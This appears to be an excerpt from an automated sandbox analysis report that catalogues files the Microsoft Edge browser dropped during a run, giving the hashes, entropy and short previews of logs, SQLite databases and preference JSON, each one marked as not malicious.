Preview:	2024/11/05-14:52:37.617 133c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/05-14:52:37.618 133c Recovering log #3.2024/11/05-14:52:37.690 133c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.2269925545843
Encrypted:	false
SSDEEP:	6:H6/fQXkQ+q2PN723oH+TcwtpIFUt8Y6/fQvdWZmw+Y6/fQecQVkwON723oH+Tcwd:+QXR+vVaYebmFUt8xQVW/+xQepV5OaYM
MD5:	1A91B54F54F4B1AC1CDCA8DA6C576DB4
SHA1:	FF04C400B3A0D6EF7F9D9A6A6F53C2EEB17D7005
SHA-256:	8F8E284E2E9AB31C1FB48393D0DE73BB45BFA7745084BDFA38CD6B061CAF2E08
SHA-512:	22B8858918433B0440A10AB411C005B362AE88113A15B9E3D0DC7569F6877CE4FA89BD778274D3F3D92FE5D94EB99EDFA9BFA34352E5D6E4DD65367EE5347BE6
Malicious:	false
Preview:	2024/11/05-14:52:37.617 133c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/11/05-14:52:37.618 133c Recovering log #3.2024/11/05-14:52:37.690 133c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2678486598465375
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMjSA1LyKOMq+8iP5GDHP/0jMVum6:Kq+n0Jj91LyKOMq+8iP5GLP/0L
MD5:	5F0ED6E286B20FA878A302CF4E080F4C
SHA1:	43BCD72BFD20B6543DC467DBE2BCE1B43C62112C
SHA-256:	EA8A5E1FE0F20065FA67789AC5FCFC6C9B509943ACBC884C4C200667804A0827
SHA-512:	CA2F0B7855D855B32C63E615ACB68B1147C6C0A040CBAD4CB035FB47443800CFF75D37B0BFF6C4E448001507ED3C833CCB7A3C27B8AF53E85E9434EFC1A72099
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46584451451225234
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcBB82xL:v7doKsKuKZKlZNmu46yjx9xL
MD5:	0DE06B2394FFA88D8B4BD462FE790757
SHA1:	2648AEDD32450F20ACD3CFEAD1D715E24ACA0E9C
SHA-256:	E68C16814162AF9C261FF09F1E0E88CB62C2BC183A8DB9213C26EE4DB4D7C276
SHA-512:	7F9CB73E850A37A8B2C855A8D19AE092096620CB4C7CF6153B4C674EF44BF6BE1405FC075EB84DD062A26F7996329368560E2ED1FDEF1F0F930ED66D30F80505
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	12824
Entropy (8bit):	0.13451626541960962
Encrypted:	false
SSDEEP:	3:N9lNllv/etXlTUJ51yl1qvTv4RRfs21d7jdtQfQ1oJQ1oJ51HXtXlTUJ5X:NqlgJarpRS+dndYJQ1oJllgJV
MD5:	F848D7484BBAC196EBB829C045A71E09
SHA1:	E2C9794D4457BB7A120617BD67CC7BAD833905AA
SHA-256:	1478BC8E8FFD7E81BB233781048DBCDBC5C9076AAB059F88A5425F939814BF31
SHA-512:	08F368CB64F5F3FE40189B52C4ECA81DCD45C3EAA6B9142AF41CC529FD8241D4EC1A8C01C6D156131FC41B1320EA6639FBD4D8F9D051A03718D85C2DC2C503D3
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ac2f417b-974f-492b-af40-4e5a695e4d05.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38627
Entropy (8bit):	5.55516674612639
Encrypted:	false
SSDEEP:	768:aq78x6WKX7pLGLpJjW5wWUf45D8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPboIQNNe1:amg65RcpJjWaWUfKDu1jaOSv7Sqzi2OR
MD5:	450A4BD05F926EC3A9DBDD55A71BCA1E
SHA1:	90A73BD828ECDF202F508A1D51F4E2827FAD34F4
SHA-256:	1821A10329D26CBBF60B1B23C8E39DD8B032F2B234CD29EEDB5C01D3E5CBFFE4
SHA-512:	8C72C79DC216EB26B43862B0B2A99E38763253B4B86EB9B33193A42ED4AF420B5D0CE6B563E96DFCB1200D771A9FF73C3B2BC0EC40018BA4E5F282B6DCE937B4
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375309957605927","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375309957605927","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b03dad22-06e4-4d7b-9113-e8af33d8a572.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b8f60d42-2ddd-4a20-995d-4ab8ee33a028.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35272
Entropy (8bit):	5.557113410735964
Encrypted:	false
SSDEEP:	768:aq78x6W6jW5wWUf4eD8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPboIQNNerwXiqXpi7:amg6fjWaWUffDu1jaOSv7SqXpi2OtX
MD5:	7AD9F9C53BCF9A8FD7BAC230CD13845C
SHA1:	7F227D103EA92AB2F7B6981C0D86FAD07094837C
SHA-256:	A56125CB3B92C129A69611354F03D5558E6A881228501CE4E59FF8D4B39F967D
SHA-512:	D5767E6702CFA057A912575BDD39F471E8BE4F213A5F45BD74E9D064417F11CA54B5A6E2F02AF4ADD3DCBAE6239C6C2D88A3729F7569C608F065821F056BA0A6
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13375309957605927","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13375309957605927","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\e102355c-31e0-4e42-87fe-8d9358992355.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fc1ba28c-02a6-4243-90ab-0d6f91cb2c52.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.1057700076901371
Encrypted:	false
SSDEEP:	12:JntNtlkntNPpEjVl/PnnnnnnnnnnnnvoQtEoxu:JntNtCntNhoPnnnnnnnnnnnnvHj
MD5:	4BA49CAA4DC4F143F5EA5F54EC3EC46C
SHA1:	B48D9A9399A60FAB7369B2A08BF30FD485E2FC0B
SHA-256:	3B3C1ECCA829AD0E38E9176F199F45769CFE32052C7556BF261DE3CB441CC331
SHA-512:	4F80FE1AE1E85B56A8DF3C87677D0368A882120CF7E4F11C052179ED3BE0D4AAE6A21AA0D297E23E707A441CE1EC38E31EAAE6A776730BDF03A2B4DAF81BFF02
Malicious:	false
Preview:	..-.............Q........ $..'..$J...V....R\..U..-.............Q........ $..'..$J...V....R\..U........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9310521506851427
Encrypted:	false
SSDEEP:	384:b60ptmxavNMUY7ZaNhFFr1Fil46FJ+XyAystyXyePyRxy8a:TjNu
MD5:	AA7C5374DAB2DD890F6986B4613D6688
SHA1:	D8EDB268994DB65A22FA6750091A4CD8B816A4E3
SHA-256:	38BB31D56FC5346B26CC4A16EAE3F0C326EBD280951829B30F46A3F8D6932E39
SHA-512:	ACCECD8B4FBD611EE009B01666438FD939E2396AECE3AD3ACB7902A322078C3E019AFC12B3F92F3E3FFB371BBFAD85A1172086CDE5322ADCC6AD54665E24A165
Malicious:	false
Preview:	7....-..........$J...V....M7'.z.........$J...V..h.IR..4.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	554
Entropy (8bit):	2.927488883401678
Encrypted:	false
SSDEEP:	6:/XntM+Bcil3sedhO7yOuuuuuuuuuuuuuuuuuuuuuu:p9lc8QyOuuuuuuuuuuuuuuuuuuuuuu
MD5:	576E928A58B29421D5CDC9D1D2D40DD5
SHA1:	AA4668F1E3AC8E70BD1DEDBEB8F664194791769D
SHA-256:	991318A24B1CC5AE91B0FCE3378C9583C061AF30A07D8C4E5CA54985F73900B6
SHA-512:	89F9E87915FD8BF3C0DB5E37F977DA059638AAC69AC0E75569BA85023249D9F9560EE892974AD62B3A95AD8998CD94CF103C0B3894B9CD789F8EC454D394BC13
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..$.0................39_config..........6.....n ...1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.196891787060036
Encrypted:	false
SSDEEP:	6:H6/fQSn+q2PN723oH+TcwtfrK+IFUt8Y6/fQSRkZmw+Y6/fQSREVkwON723oH+Tp:+QFvVaYeb23FUt8xQJ/+xQD5OaYeb3J
MD5:	9E0D11178C55BD6E6799CF5B25FC9100
SHA1:	302026FC0A34CC7421A0E01759E2A421C77B9F9D
SHA-256:	713DAB1B6849A2DB326AAD6BCD50440B8A7975F78500C637420B94F061AADCBF
SHA-512:	F57DE9F37B4CC354D1CCED4BCFE8B1F69909F7342B1D21A6A02C089D4D8F895D70A75546330E070D68F20BAA61CF73D07EBA900DCBA63B37E0D8FDAEA769B995
Malicious:	false
Preview:	2024/11/05-14:52:38.031 1858 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/05-14:52:38.032 1858 Recovering log #3.2024/11/05-14:52:38.032 1858 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.196891787060036
Encrypted:	false
SSDEEP:	6:H6/fQSn+q2PN723oH+TcwtfrK+IFUt8Y6/fQSRkZmw+Y6/fQSREVkwON723oH+Tp:+QFvVaYeb23FUt8xQJ/+xQD5OaYeb3J
MD5:	9E0D11178C55BD6E6799CF5B25FC9100
SHA1:	302026FC0A34CC7421A0E01759E2A421C77B9F9D
SHA-256:	713DAB1B6849A2DB326AAD6BCD50440B8A7975F78500C637420B94F061AADCBF
SHA-512:	F57DE9F37B4CC354D1CCED4BCFE8B1F69909F7342B1D21A6A02C089D4D8F895D70A75546330E070D68F20BAA61CF73D07EBA900DCBA63B37E0D8FDAEA769B995
Malicious:	false
Preview:	2024/11/05-14:52:38.031 1858 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/05-14:52:38.032 1858 Recovering log #3.2024/11/05-14:52:38.032 1858 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	816
Entropy (8bit):	4.0647916882227655
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z32m5t/yVf9HqlIZfkBA//DtKhKg+rOyBrgxvB1ySxs:G0nYUtypD32m3yWlIZMBA5NgKIvB8Sxs
MD5:	3BE72D8D40752B3A97028FDB2931FABA
SHA1:	A27EA4726857A948F0A4B074062B674469A9A371
SHA-256:	3C18553C8C3F7E801855F3579AC57F3C156D783BBA27FB35C6D2FB6CB89BD902
SHA-512:	8EBD4D6980BB7796615217E72BC65953C920B68B9259341CD52858C1E889EC90339E2A304FE0C971D6C6EF9AFC4A00CFB3E5CC89C7B2DF8737A0C7EC241BDADC
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....X...................20_.....W.J+.................19_......qY.................18_.....'}2..................37_.......c..................38_......i...................39_.....Owa..................20_.....4.9..................20_.....B.I..................19_..........................18_.....2.1..................37_..........................38_......=.%.................39_.....p.j..................9_.....JJ...................9_.....\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... ......................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.209265233249959
Encrypted:	false
SSDEEP:	6:H6/fQS+T+q2PN723oH+TcwtfrzAdIFUt8Y6/fQS+jZmw+Y6/fQS+TVkwON723oHf:+QMvVaYeb9FUt8xQ9/+xQP5OaYeb2J
MD5:	B47AB75BBB678799592B70EDB1FB6544
SHA1:	2487C3E62F28BD81845D67E303C1D66482C162E3
SHA-256:	50F0C1C700D745951BC2AF336BFC598F22C61B4E593EB722C0D42AB79AC74BAA
SHA-512:	8EE6E3934F337E512A04F5C2CFA5DB0AD35B1C7F93B921AA4D40CD5323EF4881EFBC8383EB5122EEB398F0DAD07B511A6E744CC05A7866048068262213AB7359
Malicious:	false
Preview:	2024/11/05-14:52:38.029 1858 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/05-14:52:38.029 1858 Recovering log #3.2024/11/05-14:52:38.029 1858 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	346
Entropy (8bit):	5.209265233249959
Encrypted:	false
SSDEEP:	6:H6/fQS+T+q2PN723oH+TcwtfrzAdIFUt8Y6/fQS+jZmw+Y6/fQS+TVkwON723oHf:+QMvVaYeb9FUt8xQ9/+xQP5OaYeb2J
MD5:	B47AB75BBB678799592B70EDB1FB6544
SHA1:	2487C3E62F28BD81845D67E303C1D66482C162E3
SHA-256:	50F0C1C700D745951BC2AF336BFC598F22C61B4E593EB722C0D42AB79AC74BAA
SHA-512:	8EE6E3934F337E512A04F5C2CFA5DB0AD35B1C7F93B921AA4D40CD5323EF4881EFBC8383EB5122EEB398F0DAD07B511A6E744CC05A7866048068262213AB7359
Malicious:	false
Preview:	2024/11/05-14:52:38.029 1858 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/05-14:52:38.029 1858 Recovering log #3.2024/11/05-14:52:38.029 1858 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.6612262562697895
Encrypted:	false
SSDEEP:	3:NYLFRQZ:ap2Z
MD5:	B64BD80D877645C2DD14265B1A856F8A
SHA1:	F7379E1A6F8CE062E891C56736C789C7EA77CD6A
SHA-256:	83476CEEEB7682F41030664B4E17305986878D14E82D0C277FB99EC546B44569
SHA-512:	734A7316A269C76DD052D980CC0D5209C0BFEDFFC55B11C58FA25C433CE8A42536827298C3E58CACD68CC01593C23D39350E956E8DE2268D8D29918E1F0667F2
Malicious:	false
Preview:	117.0.2045.55

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787815485503
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWbdi1zNtPMJkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlakzItSmd6qE7lFoC
MD5:	0B863E464910F57FD7814723627EF32D
SHA1:	0ED8115D344D2748CF3FD1A970F1597C9A6678F4
SHA-256:	7CB4BAEE05AD59EF8B5D63F69947179CE44383686D768045F0794A4FAEAAAC9F
SHA-512:	FD7653ACBE5CA7C19C18C9D037CA56BB07A41A70B75604DF42C78D7DF206E5EB10E686BD90D91E72DD1FBF8FD22DB6F6913764D8ED4080BCB08091EFE49CBE0C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4bca5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
